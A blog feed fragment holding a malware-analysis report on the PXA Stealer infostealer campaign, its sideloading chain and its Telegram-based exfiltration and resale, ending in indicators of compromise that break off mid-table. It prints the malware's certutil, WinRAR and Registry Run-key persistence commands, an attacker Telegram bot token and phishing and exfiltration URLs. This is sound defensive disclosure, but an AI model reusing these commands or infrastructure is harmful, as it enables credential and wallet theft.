https://smartveneto.it.com/TZT4RLqar3N/
https://spoogespot.com/
https://vchas.company
https://voxiura.online/1TbLRw7v2q/</code></p><p></p><h3><b>Addresses credentials were shipped to:</b></h3><p><code>https://1954751903.cyou/google.php
https://ccbsawholesaleconference.co.za/login.php
https://fczptqkbdjbiehaah.k3yshdwonline.top
https://ckdatabasews.k3yshdwonline.top
https://cvws.icloud-content.www.k3yshdwonline.top
https://ozvsfcrcbjdahccdf.enigmorafile.icu
https://ozvsfcrbdjbiehaah.enigmorafile.icu
https://ckdatabasews.enigmorafile.icu</code></p></div>]]></content><summary type="html">When you send phishing campaigns to a security company, you really shouldn't ask LLMs to build your infrastructure.</summary></entry><entry><title>Ghost in the Zip | New PXA Stealer and Its Telegram-Powered Ecosystem</title><link href="https://labs.beazley.security/articles/ghost-in-the-zip-or-new-pxa-stealer-and-its-telegram-powered-ecosystem" rel="alternate"/><updated>2025-08-04T10:00:00.000Z</updated><published>2025-08-04T10:00:00.000Z</published><id>https://labs.beazley.security/articles/ghost-in-the-zip-or-new-pxa-stealer-and-its-telegram-powered-ecosystem</id><content type="html"><![CDATA[<div class="rtf"><h3 class="rtf-title">Executive Summary</h3><img src="//images.ctfassets.net/2nw9zhl2ydi6/519vRhfNCSi2BbO8z59cUq/bcd456765f66b3fbe21eb8bcf60f575c/banner.jpg" alt="GITZ banner" style="max-width:100%;"/><ul><li><p>Beazley Security and <a href="https://s1.ai/pxa">SentinelLabs</a> discovered and analyzed a rapidly evolving series of infostealer campaigns delivering the Python-based PXA Stealer.</p></li><li><p>This discovery showcases a leap in tradecraft, incorporating more nuanced anti-analysis techniques, non-malicious decoy content, and a hardened command-and-control pipeline that frustrates triage and attempts to delay detection.</p></li><li><p>We identified more than 4,000 unique victim IP addresses in exfiltrated logs, with infected systems spanning at least 62 countries, most notably South Korea, the United States, the Netherlands, Hungary, and Austria.</p></li><li><p>The stolen data includes over 200,000 unique passwords, hundreds of credit card records, and more than 4 million harvested browser cookies, giving actors ample access to victims’ accounts and financial lives.</p></li><li><p>The threat actors behind these campaigns are linked to Vietnamese-speaking cybercriminal circles who monetize the stolen data through a subscription-based underground ecosystem that efficiently automates resale and reuse through the Telegram platform’s API.</p></li></ul></div><div class="rtf"><h3 class="rtf-title"><hr class="w-full ml-auto"/></h3><h1>Overview</h1><p>In close partnership, Beazley Security and <a href="https://s1.ai/pxa">SentinelLabs</a> have uncovered a large-scale, ongoing infostealer campaign built around the Python-based PXA Stealer. Initially surfacing in late 2024, this threat has since matured into a highly evasive, multi-stage operation driven by Vietnamese-speaking actors with apparent ties to an organized cybercriminal Telegram-based marketplace that sells stolen victim data.</p><p>Throughout 2025, these actors have continuously refined their delivery mechanisms and evasion strategies. Most notably, they’ve adopted novel sideloading techniques involving legitimate signed software (such as Haihaisoft PDF Reader and Microsoft Word 2013), concealed malicious DLLs, and embedded archives disguised as common file types. These campaigns use elaborate staging layers that obscure their purpose and delay detection by endpoint tools and human analysts alike.</p><p>The final payload, PXA Stealer, exfiltrates a broad spectrum of high-value data–which includes passwords, browser autofill data, cryptocurrency wallet and FinTech app data, and more– to Telegram channels via automated bot networks. Our telemetry and analysis uncovered over 4,000 unique victims across more than 60 countries, suggesting a widespread and financially motivated operation that feeds into criminal platforms such as Sherlock. This data is then monetized and sold to downstream cybercriminals, enabling actors who engage in cryptocurrency theft or buy access to infiltrate organizations for other purposes.</p><p>This campaign exemplifies a growing trend in which legitimate infrastructure (e.g., Telegram, Cloudflare Workers, Dropbox) is weaponized at scale to both execute and monetize information theft, while simultaneously reducing the cost and technical overhead for attackers. As stealer campaigns become increasingly automated and supply-chain integrated, defenders must adjust to an adversary landscape defined not just by malware, but by infrastructure, automation, and real-time monetization.</p><p>Beazley Security would like to extend sincere thanks to our partners at SentinelOne for their instrumental collaboration and exceptional reverse engineering support during this investigation. </p><h1>Background and Haihaisoft Sideloading</h1><p>This cluster of PXA Stealer activity has been ongoing and active since late 2024, with some BotIDs being created as early as October, 2024. The general delivery mechanisms and TTPs have not changed. However the actors behind this cluster have continually pivoted to new sideloading mechanisms, along with updated Telegram C2 infrastructure.</p><p>During a wave of attacks occurring in April 2025, users were phished or otherwise lured into downloading a compressed archive containing a signed copy of the Haihaisoft PDF Reader freeware application along with the malicious DLL to be sideloaded. This component of the attack is responsible for establishing persistence on the target host via the Windows Registry, and retrieving additional malicious components, including Windows executable payloads hosted remotely on Dropbox. Various infostealers were delivered in this initial campaign, including LummaC2 and Rhadamanthys Stealer. </p><p>It was during the first wave that we also observed a change in TTPs: the threat actors shifted to updated Python-based payloads instead of Windows executables.</p><p>Attacks leveraging the updated Python-based payloads are initiated in the same manner: delivery of a large archive containing the signed copy of Haihaisoft PDF Reader, alongside the malicious DLL to be loaded. </p><p>Upon execution, the malicious DLL creates a .CMD script <code>Evidence.cmd</code> in the current directory, which orchestrates all subsequent steps in the attack chain. The .CMD script utilizes <code>certutil</code> to extract an encrypted RAR archive embedded inside a malformed PDF.</p><p><code>certutil -decode Documents.pdf LX8bzeZTzF5XSONpDC.rar</code></p><p>This command leads the Edge browser to open the PDF file, though this results in an error message as the file is not a valid PDF. Subsequently, the packaged WinRAR utility–masquerading as <code>images.png</code>–extracts an embedded RAR archive using decoded command lines. This process took several minutes and caused sandbox analysis to time out in several cases, which led to false negative results.</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/5ZRMY6mCe7uE1zWbyWdUgV/b1e963e8ecf0e9ba3f08a0a7a173f175/images.jpg" alt="Extract command" style="max-width:100%;"/><p>This extracts several Python dependencies, including a legitimate Python 3.10 interpreter renamed <code>svchost.exe</code> and a malicious Python script named <code>Photos</code>, which are then executed. This step sets a Registry Run key to ensure the payload will run each time the computer starts.</p><p><code>reg add &quot;HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&quot; /v &quot;Windows Update Service&quot; /t REGSZ _/d &quot;cmd.exe /c start \&quot;\&quot; /min </code></p><p><code>\&quot;C:\Users\Public\LX8bzeZTzF5XSONpDC\svchost.exe\&quot;C:\Users\Public\LX8bzeZTzF5XSONpDC\Photos&quot; /f</code></p><p><code></code></p><hr/><h1>Evolved Infection Chain</h1><p>In July 2025, Beazley Security MDR identified new activity that closely mirrored the infection chain and TTPs observed in the previous campaigns, but with several notable evolutions reflecting heightened operational maturity and ongoing innovation by the threat actors.</p><p>The large archive attached to the phishing lure contained:</p><ul><li><p>A legitimate, signed Microsoft Word 2013 executable</p></li><li><p>A malicious DLL, <code>msvcr100.dll</code>, that is sideloaded by the Microsoft Word 2013 executable</p></li><li><p>Additional files and later-stage payloads within a supporting directory named &quot;_&quot;.</p></li></ul><p>While similar to the April campaign, the July wave introduces more sophisticated file naming to increase evasion and leverages non-malicious decoy documents opened to ensure the user remains unsuspecting.</p><p>The Microsoft Word 2013 binary is renamed to appear to the user as a Word document:</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/4u5wtZeUcUIq1ZP999BJOf/cf5b2d424e97f55a2470698b3f8e7834/Figure-1.jpg" alt="Screenshot of renamed Word 2013 executable to lure the user" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 1 - Screenshot of renamed Word 2013 executable to lure the user</i></p><p>The other files extracted from the archive are hidden from the user in Windows Explorer but shown below:</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/7qUwuueNSFp2PxPC3f99IQ/0c91aa63dabf8558d4bbdc1b3447f956/Figure-2.png" alt="Figure-2" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 2 - Extracted contents of the archive, including hidden files</i></p><p>When the victim opens the Word executable, Windows loads the malicious <code>msvcr100.dll</code> since the OS searches for the filename in the local directory before system directories. The sideloaded DLL then launches a hidden instance of Command Prompt and begins a multi-stage chain of activity:</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/4DzumIIJAlZoFXi5kObsOb/0c52aac26f5c00be5ea8234b3fc76816/S1-Graphics_08-01-2025.png" alt="PXA Execution Chain Graphic" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 3 - Overview of the infection chain</i></p><p>First, Word launches a benign decoy document named <code>Tax-Invoice-EV.docx</code>, which displays a fake copyright infringement notice to the victim. We believe this document doubles as an anti-analysis feature by introducing a non-malicious file into the attack chain, which potentially wastes security analysts’ time. The document lacks macros or other scriptable objects.</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/1nOYNsIOoApdtBKtAZtxhs/6414bbb4fd860c883b7efdfb6267aea7/Figure-4.png" alt="Figure-4" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 4 - Screenshot of the non-malicious decoy document</i></p><p>Next, like the previous activity, <code>certutil</code> is used to decode a file from the “-“ folder into a new encrypted zip archive that is deceptively named with a PDF file extension, Document.pdf for example:</p><p><code>certutil -decode Document.pdf Invoice.pdf</code></p><p>Then, a legitimate WinRar executable also hosted in the “-“ folder renamed <code>images.png</code> is used to unpack the archive:</p><p><code>images.png x -ibck -y -poX3ff7b6Bfi76keXy3xmSWnX0uqsFYur Invoice.pdf C:\\Users\\Public</code></p><p>The second archive contains a portable Windows Python interpreter, several Python libraries, and a malicious Python script. The Python interpreter is renamed to <code>svchost.exe</code> and launches a heavily obfuscated Python script again disguised as <code>images.png</code>, followed by the <code>$BOT_ID</code> argument.</p><p><code>start C:\\Users\\Public\\Windows\\svchost.exe C:\\Users\\Public\\Windows\\Lib\\images.png </code><code><i>$BOT_ID</i></code></p><h1>Payload Analysis</h1><p>The final payload is an updated version of PXA Stealer. PXA Stealer is a Python-based infostealer which <a href="https://blog.talosintelligence.com/new-pxa-stealer/"><u>first emerged in 2024</u></a>. PXA is primarily seen in Vietnamese-speaking threat actor circles. The malware targets sensitive information including credentials, financial data, browser data and cookies, and cryptocurrency wallet details. As detailed below, a wide variety of applications and data types within these categories are supported by PXA Stealer. PXA Stealer is capable of exfiltrating data via Telegram, as has been observed in prior campaigns.</p><p>Similar to prior campaigns, the newly observed PXA Stealer payloads are capable of identifying, packaging, and exfiltrating data from an extensive list of applications and interfaces on infected systems. Exfiltration continues to be handled via Telegram, with specific Telegram BOT IDs and Tokens identified as tied to these more recent campaigns.</p><p>The new variant of PXA Stealer will enumerate Chromium/Gecko browsers, decrypt any saved passwords, cookies, stored personally identifiable information (PII), autofill data, and any authentication tokens. The infostealer will also attempt to inject a DLL into running instances of browsers such as Chrome, targeting Chrome’s App-Bound Encryption Key to defeat the internal encryption schemes within Chrome. The DLL injected during the July campaign targets MSEdge, Chrome, Whale, and CocCoc browsers.</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/AShjh0ltk8H92j0YwANpU/f4f4a9fcb303299e837586bb70eab4a8/Figure-5.jpg" alt="Figure-5" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 5 - Browsers targeted by the injected DLL from the July campaign</i></p><p>The infostealer also grabs files from dozens of desktop cryptocurrency wallets, VPN clients, Cloud-CLI utilities, connected fileshares, as well as applications such as Discord, and much more.</p><p>The collected data is packaged into ZIP archives then exfiltrated to a specific Telegram bot via Cloudflare Worker relays. There are also conditions where the malware will reach out to external sources for additional Python payloads, such as 0x0[.]st, a Pastebin-like temporary file hosting resource. Other analyzed PXA Stealer payloads support stealing data from the following browsers:</p><p></p><table><tbody><tr><td><p>360Browser</p></td><td><p>AVG</p></td><td><p>Chrome</p></td></tr><tr><td><p>360 Extreme Browser</p></td><td><p>Brave</p></td><td><p>Chromium</p></td></tr><tr><td><p>Aloha</p></td><td><p>Brave Nightly</p></td><td><p>CocCoc</p></td></tr><tr><td><p>Amigo</p></td><td><p>CCleaner</p></td><td><p>CryptoTab</p></td></tr><tr><td><p>Arc</p></td><td><p>Cent</p></td><td><p>Dragon</p></td></tr><tr><td><p>Avast</p></td><td><p>Chedot</p></td><td><p>Edge</p></td></tr><tr><td><p>Epic</p></td><td><p>Opera</p></td><td><p>Speed360</p></td></tr><tr><td><p>Ghost</p></td><td><p>Opera Crypto</p></td><td><p>SRWare</p></td></tr><tr><td><p>Iridium</p></td><td><p>Opera GX</p></td><td><p>Thorium</p></td></tr><tr><td><p>Liebao</p></td><td><p>QQBrowser</p></td><td><p>UR Browser</p></td></tr><tr><td><p>Liebao AI</p></td><td><p>Sidekick</p></td><td><p>Vivaldi</p></td></tr><tr><td><p>Maxthon</p></td><td><p>Slimjet</p></td><td><p>Wavebox</p></td></tr><tr><td><p>Naver</p></td><td><p>Sogou</p></td><td><p>Yandex</p></td></tr></tbody></table><p></p><p>The malware targets the following list of cryptocurrency wallet related browser extensions:</p><p></p><table><tbody><tr><td><p>Ambire</p></td><td><p>ExodusWeb3</p></td><td><p>SafePal Wallet</p></td></tr><tr><td><p>Aptos Wallet</p></td><td><p>Frame</p></td><td><p>Station Wallet</p></td></tr><tr><td><p>Argent X</p></td><td><p>Keystone Wallet</p></td><td><p>Sui Wallet</p></td></tr><tr><td><p>Atomic Wallet</p></td><td><p>Leather Bitcoin Wallet</p></td><td><p>Talisman Wallet</p></td></tr><tr><td><p>Backpack Wallet</p></td><td><p>Ledger Live</p></td><td><p>Tonkeeper Wallet</p></td></tr><tr><td><p>Bitapp</p></td><td><p>Leo Wallet</p></td><td><p>TON Wallet</p></td></tr><tr><td><p>Bitget Wallet</p></td><td><p>Magic Eden Wallet</p></td><td><p>Uniswap Extension</p></td></tr><tr><td><p>Bitski Wallet</p></td><td><p>MathWallet</p></td><td><p>Wallet Guard</p></td></tr><tr><td><p>Cosmostation Wallet</p></td><td><p>MyTonWallet</p></td><td><p>Zeal</p></td></tr><tr><td><p>Crocobit</p></td><td><p>OpenMask Wallet</p></td><td><p>Zeeve Wallet</p></td></tr><tr><td><p>Crypto.com</p></td><td><p>Portal DEX Wallet</p></td><td><p>Zerion</p></td></tr><tr><td><p>Edge Wallet</p></td><td><p>Pulse Wallet Chromium</p></td><td><p></p></td></tr><tr><td><p>Equal</p></td><td><p>Quai Wallet</p></td><td><p></p></td></tr></tbody></table><p></p><p>User databases and configuration files for the following applications are targeted, many of which house sensitive data or cryptocurrency assets:</p><p></p><table><tbody><tr><td><p>Armory</p></td><td><p>bytecoin</p></td><td><p>Electron Cash</p></td></tr><tr><td><p>Atomic</p></td><td><p>Chia Wallet</p></td><td><p>Electrum</p></td></tr><tr><td><p>Azure</p></td><td><p>Coinomi</p></td><td><p>ElectrumLTC</p></td></tr><tr><td><p>Binance</p></td><td><p>Daedalus Mainnet</p></td><td><p>Ethereum</p></td></tr><tr><td><p>Bitcoin Core</p></td><td><p>DashCorewallets</p></td><td><p>Exodus</p></td></tr><tr><td><p>Blockstream Green</p></td><td><p>Dogecoin</p></td><td><p>FileZilla</p></td></tr><tr><td><p>Guarda Desktop</p></td><td><p>Litecoinwallets</p></td><td><p>ProtonVPN</p></td></tr><tr><td><p>Jaxx Desktop</p></td><td><p>Monero</p></td><td><p>Raven Core</p></td></tr><tr><td><p>KeePass</p></td><td><p>MultiDoge</p></td><td><p>Telegram</p></td></tr><tr><td><p>Komodo Wallet</p></td><td><p>MyMonero</p></td><td><p>Wasabi Wallet</p></td></tr><tr><td><p>Ledger Live</p></td><td><p>OpenVPN</p></td><td><p>Zcash</p></td></tr></tbody></table><p></p><p>The infostealer is also capable of targeting website-specific data. The malware includes the following list of sites, for which the stealer will attempt to discover and collect credentials, cookies and session tokens. The targeted sites are primarily financial, such as FinTech services or cryptocurrency exchanges:</p><p></p><table><tbody><tr><td><p>ads.google.com </p></td><td><p>coinomi.co.nl </p></td><td><p>korbit.co.kr </p></td></tr><tr><td><p>adsmanager.facebook.com </p></td><td><p>coinone.co.kr </p></td><td><p>kraken.com </p></td></tr><tr><td><p>binance.com </p></td><td><p>coinplug.ng</p></td><td><p>kucoin.com </p></td></tr><tr><td><p>bingx.com </p></td><td><p>crypto.com </p></td><td><p>lbank.com </p></td></tr><tr><td><p>bitfinex.com </p></td><td><p>electrum.org </p></td><td><p>mexc.com </p></td></tr><tr><td><p>bitget.com </p></td><td><p>exodus.com </p></td><td><p>nami.exchange </p></td></tr><tr><td><p>bitgo.com </p></td><td><p>gate.com </p></td><td><p>okx.com </p></td></tr><tr><td><p>bitmart.com </p></td><td><p>gemini.com </p></td><td><p>paypal.com </p></td></tr><tr><td><p>bitunix.com </p></td><td><p>gopax.co.kr </p></td><td><p>probit.com </p></td></tr><tr><td><p>business.facebook.com </p></td><td><p>htx.com </p></td><td><p>upbit.com </p></td></tr><tr><td><p>bybit.com </p></td><td><p>huobi.com </p></td><td><p>whitebit.com </p></td></tr><tr><td><p>coinbase.com </p></td><td><p>hyperliquid.xyz </p></td><td><p>xt.com </p></td></tr></tbody></table><p>The specific Telegram Bot Token, and associated Chat ID, identified in the samples from July are:</p><p>Telegram Bot Token: <code>7414494371:AAHsrQDkPrEVyz9z0RoiRS5fJKI-ihKJpzQ</code></p><p>Telegram Chat ID: <code>-1002698513801</code></p><p>Data is exfiltrated to Telegram via connection via Cloudflare <a href="https://developers.cloudflare.com/workers/configuration/routing/routes/"><u>workers</u></a>. The specific Cloudflare DNS address is:</p><p><code>Lp2tpju9yrz2fklj.lone-none-1807.workers[.]dev</code></p><p>We reported this abuse of Cloudflare Workers to Cloudflare, and we thank their team for taking immediate action to disrupt this malicious infrastructure.</p><p>Each of the final PXA Stealer payloads corresponds to a Telegram Bot Token and ChatID combination. Each variant we analyzed is associated with the same Telegram Bot Token (<code>7414494371:AAHsrQDkPrEVyz9z0RoiRS5fJKI-ihKJpzQ</code>) although the ChatIDs vary. Additionally, there can be multiple ChatIDs, which correspond to a Telegram channel, tied to each payload. Each bot is tied to as many as 3 Telegram channels. One channel, typically denoted with the <code>New Logs</code> string, receives exfiltrated data contained in zip archives uploaded from victims’ machines, along with log/ledger style data for each victims’ exfiltrated data set. Specific entries also indicate the victim’s geographic location, IP address and other contextual data. </p><p>PXA Stealer log entries show counts for the types of data within:</p><p><code>CK:2868|PW:482|AF:606|CC:0|FB:1|Sites:4|Wallets:0|Apps:1</code></p><p>The stealer data types include:</p><ul><li><p>CK=Cookies</p></li><li><p>PW = Passwords</p></li><li><p>AF = AutoFill data</p></li><li><p>CC=Credit Card data</p></li><li><p>FB= Facebook Cookies</p></li><li><p>TK= Authentication Tokens</p></li><li><p>Sites = Domains / Site specific data</p></li><li><p>Wallets = Crypto Wallet data</p></li><li><p>Apps = Application specific data (ex: private messenger chat history and keys)</p></li></ul><img src="//images.ctfassets.net/2nw9zhl2ydi6/1D8sNGMbi34X31ov994LuK/9469fccf9c64b11b43433e4c50ffcc3f/Figure-6.png" alt="Figure-6" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 6 - Exfiltrated Victim Data from MRB_NEW_VER_BOT via PXA Stealer</i></p><p>Each bot will also have an associated ‘Reset’ and ‘Notifications’ channel as well. The ‘Notification’ channels appear to allow operators to automate their communications process when new victim logs are uploaded or otherwise obtained. The ‘Reset’ channels appear to be used in similar manner to the ‘New Logs’ channels, storing newly exfiltrated victim data.</p><p>While all analyzed variants share the same Bot Token ID, we have observed multiple ChatIDs across the New Log/Reset/Notification combinations across this stealer’s ecosystem. The observed Bots-to-ID sets include:</p><p>Telegram BotID <code>7414494371:AAHsrQDkPrEVyz9z0RoiRS5fJKI-ihKJpzQ</code></p><ul><li><p>James_New_Ver_bot (yd2sV / James)</p><ul><li><p>James - New Logs</p></li><li><p>James - New Logs Notification</p></li><li><p>James - Reset Logs</p></li></ul></li><li><p>DA_NEW_VER_BOT (qDTxA / DUC ANH)</p><ul><li><p>New Logs - \u0110\u1ee9c Anh</p></li><li><p>Reset Logs - \u0110\u1ee9c Anh</p></li></ul></li><li><p>MRB_NEW_VER_BOT (Plk1y / MRB_NEW)</p><ul><li><p>New Logs</p></li><li><p>Reset Logs</p></li><li><p>Notify </p></li></ul></li><li><p>JND_NEW_VER_BOT (5DJ0P / JND)</p><ul><li><p>JND - New Logs</p></li><li><p>JND - Reset Logs</p></li></ul></li><li><p>AND_2_NEW_VER_BOT (oaCzj / ADN 2 / Adonis)</p><ul><li><p>Adonis - New Logs</p></li><li><p>Adonis - Reset Logs</p></li><li><p>New Log Notification</p></li></ul></li></ul><p>The encompassing Telegram ID is connected to a Bot that has the following properties:</p><p><u>Username</u>: <code>“Logs_Data_bot”</code></p><p><u>Firstname</u>: <code>\u0412\u0418\u0414\u0415\u041e \u0421 \u041b\u0410\u0419\u041a\u0410</code></p><p><u>Lastname</u>: <code>(nul)</code></p><p>The firstname field on this bot decodes to a string of Cyrillic text “ВИДЕО С ЛАЙКА”. This roughly translates to ‘Video for/with/of Laika,” though the significance of this string is unclear. </p><h1>Telegram Abuse and Attribution</h1><p>The later-stage dropper component is responsible for parsing target Telegram URLs based on a string gathered from a prescribed Telegram ChatID. This string is then combined with the base URL for either <code>paste[.]rs</code> or <code>0x0[.]st</code> to retrieve the next batch of obfuscated Python code.</p><p>Multiple identifiers were observed across the multitude of analyzed samples. The most prominent we observed are:</p><ul><li><p>ADN_2_NEW_VER_BOT</p></li><li><p>DA_NEW_VER_BOT</p></li><li><p>JAMES_NEW_VER_BOT</p></li><li><p>JND_NEW_VER_BOT</p></li><li><p>MR_P_NEW_VER_BOT</p></li><li><p>MR_Q_NEW_VER_BOT</p></li><li><p>KBL_NEW_VER_BOT</p></li><li><p>MRB_NEW_VER_BOT</p></li></ul><p>These identifiers are visible within the commands launched by the side-loaded DLL described above.</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/81nkSF0Oc2kRB82bhWAhW/802de4694b157ebedda698108ea713f3/cmdline.png" alt="Command Line" style="max-width:100%;"/><p>Each of these <code>_NEW_VER_BOT</code> identifiers corresponds to a Telegram User ID. The profile names resemble a bot, but are actually user accounts:</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/4nxvkXFh44JrutKX0Ggxoi/42ec6a7244e5e31ecd3fa58c10eb4646/Figure-7.png" alt="Figure-7" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 7 - Bio and Info fields from Telegram profiles masquerading as bots</i></p><p>When retrieving files from <code>paste[.]rs</code>, the corresponding strings are concatenated with the <code>hxxps://paste[.]rs</code> or <code>hxxps://0x0[.]st</code> prefix, which constructs the full download URL hosting another payload.</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/2yqEgWtGNWFQyYh2dlISMK/09c8b48f7dac018f73906dde8312adcb/Figure-8.png" alt="Figure-8" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 8 - Obfuscated Python code hosted on Paste[.]rs</i></p><p>Once downloaded, the obfuscated Python code is decoded and executed, delivering the Infostealer component of the attack.</p><p>The Telegram ChatID associated with the infostealer component of this attack is “@Lonenone.” The “Lonenone” theme is also present in the Cloudflare Worker hostname <code>lp2tpju9yrz2fklj[.]lone-none-1807[.]workers[.]dev</code>. The profile display name contains an emoji of the Vietnam flag.</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/26j59jgk4REMM8WKjlv9Fw/c0087735f4f750738650e259a03440a8/Figure-9.png" alt="Figure-9" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 9 - Lone None Telegram ChatID.</i></p><img src="//images.ctfassets.net/2nw9zhl2ydi6/pVKxKmMScJDRfKt8f6nx5/7746a493adc149d817b4cd36283f4477/Figure-10.png" alt="Figure-10" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 10 - Reference to LoneNone TG channel in decoded (July) infostealer</i></p><p>This Telegram ChatID/Account is associated with the same threat actor using PXA Stealer as <a href="https://blog.talosintelligence.com/new-pxa-stealer/"><u>previously described</u></a> by Cisco Talos. It is worth noting that there are a number of other Vietnamese-language artifacts present in these stages of the malware. For example, the aforementioned Telegram BOT IDs show 'Duc Anh' ... aka &quot;đức anh&quot; as display names, which loosely translates to “brother”.</p><p>PXA Stealer uses the BotIDs (stored as TOKEN_BOT) to establish the link between the main bot and the various ChatID (stored as CHAT_ID). The ChatIDs are Telegram channels with various properties, but they primarily serve to host exfiltrated data and provide updates and notifications to the operators.</p><p>PXA Stealer transmits data via HTTP POST requests to the Telegram API. Everything is handled via HTTPS, thus there is no visible Telegram process or self-contained client producing the traffic. This is one of PXA stealer’s methods of hiding exfiltration traffic from potential analysis or detection.</p><p>Prior to transferring the exfiltrated data, the stealer packages stage data into an archive using the following naming convention where CC=Country Code:</p><p><code>[CC_IPADDRESS]_HOSTNAME.zip 
(ex: [RU_123.45.67[.]89]DESKTOP-VICTIM.zip)</code></p><p>The main BotID (<code>7414494371:AAHsrQDkPrEVyz9z0RoiRS5fJKI-ihKJpzQ</code>) includes a reference to  <code>probiv[.]gg</code> in the Bot metadata:</p><p><code>&quot;:[{&quot;command&quot;:&quot;start&quot;,&quot;description&quot;:&quot;probiv.gg \u0437\u0430\u043f\u043e\u043c\u043d\u0438 \ud83d\udd25&quot;}</code></p><p><code>Probiv[.]gg</code> contains a redirect to the Sherlock Telegram Bot Service, which provides a search interface for data culled from infostealers.</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/4LsX51zCZHdtluBBNEhIUV/1aed2be860c282ec5e56083c109c13e0/Figure-11.png" alt="Figure-11" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 11 - Telegram redirect on probiv[.]gg</i></p><p>The redirect leads to the Telegram landing page for <code>SherLock1u_BOT</code>, a provider of stolen data, and the automated services to search for specific data types or sets.</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/56Ur4GJapJLvgYLdFcECSG/c762ea49b3a02541b00f15884eadc2b6/Figure-12.png" alt="Figure-12" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 12 - SherLock1u_BOT</i></p><p>We also tracked activity from the bots since April indicating targeting of victims in South Korea. The following image shows details of exfiltrated data from one Korea-based victim by the <code>MRB_NEW_VER_BOT</code> ID.</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/7pdU0wUMmbC18vuI0VBkwV/0c40e928c715802f8dd95a057f73c7e1/Figure-13.png" alt="Figure-13" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 13 - South Korea victim data uploaded to Telegram via PXA Stealer</i></p><h1>Victimology</h1><p>Our analysis uncovered details around victimology for several active BotIDs associated with the ongoing PXA Stealer campaign. Some of these Bots have been active since at least October 2024, and they continue to receive data from infected hosts to date.</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/4gcfhax0Osmu4zukF8HEkF/c0b5f245ec7e4b8881f67a0b9471baf0/Figure-14.png" alt="Figure-14" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 14 - Adonis (ADN_2_NEW_BOT) Victim records</i></p><p>The PXA Stealer logs contain victim IP addresses that indicate there are potentially more than 4,000 unique victims from 62 countries. The top targeted countries in the analyzed set are:</p><ol><li><p>Republic of Korea (KR)</p></li><li><p>United States (US)</p></li><li><p>Netherlands (NL) </p></li><li><p>Hungary (HU)</p></li><li><p>Austria (AT)</p></li></ol><p>Some appear to favor specific locations, for example Adonis (ADN_2_NEW_VER_BOT) most heavily targets hosts in Israel and Taiwan, followed by KR and US.</p></div><div class="rtf"><h3 class="rtf-title">Conclusion</h3><p>The evolving tradecraft in these recent campaigns demonstrates that these adversaries have meticulously refined their deployment chains, making them increasingly more challenging to detect and analyze. The July 2025 attack chain in particular illustrates a highly tailored approach engineered to bypass traditional antivirus solutions, delay execution in sandboxes, and mislead SOC analysts who review process trees or EDR data by using byzantine delivery and installation methods.</p><p>This campaign’s medley of legitimate applications and non-malicious decoy documents is designed to mislead users and SOC analysts alike. The actors reinforce this facade by naming a user-space folder to mimic the system directory Windows and disguising a Python interpreter as <code>svchost.exe</code> to blend into typical system activity. In parallel, they use files with familiar extensions, such as PNG and PDF, to conceal embedded WinRAR executables and ZIP archives, layering their evasion techniques to mislead users, investigators, and traditional detection technologies.</p><p>PXA Stealer, and the threat actors behind it, continue to feed the greater infostealer ecosystem. It is also important to note that PXA, along with similar stealers like Redline, Lumma, and Vidar, each produce data that can be neatly ingested into data monetization ecosystems. The sales-oriented services like Sherlock, such as Daisy Cloud and Moon Cloud, take data harvested by these stealers directly from the bots. The more mature services then normalize the sets of exfilterated data to make it ‘sales-ready’. The idea behind leveraging the legitimate Telegram infrastructure is driven by the desire to automate exfiltration and streamline the sales process, which enables actors to deliver data more efficiently to downstream criminals. The developer-friendly nature of Telegram–combined with the company’s laissez-faire attitude towards cybercrime–underscores the crucial role that Telegram plays in the holistic cybercriminal ecosystem.</p><h1>Indicators of Compromise</h1><h2>SHA-1 Hashes</h2><table><tbody><tr><td><p>05a8e10251a29faf31d7da5b9adec4be90816238</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>06fcb4adf8ca6201fc9e3ec72d53ca627e6d9532</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>06fcb4adf8ca6201fc9e3ec72d53ca627e6d9532</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>0c472b96ecc1353fc9259e1b8750cdfe0b957e4f</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>1594331d444d1a1562cd955aefff33a0ee838ac9</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>1783af05e7cd52bbb16f714e878bfa9ad02b6388</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>185d10800458ab855599695cd85d06e630f7323d</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>23c61ad383c54b82922818edcc0728e9ef6c984d</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>23c61ad383c54b82922818edcc0728e9ef6c984d</p></td><td><p>First-Stage Dropper (archive)</p></td></tr><tr><td><p>345c59394303bb5daf1d97e0dda894ad065fedf6</p></td><td><p>First-Stage Dropper 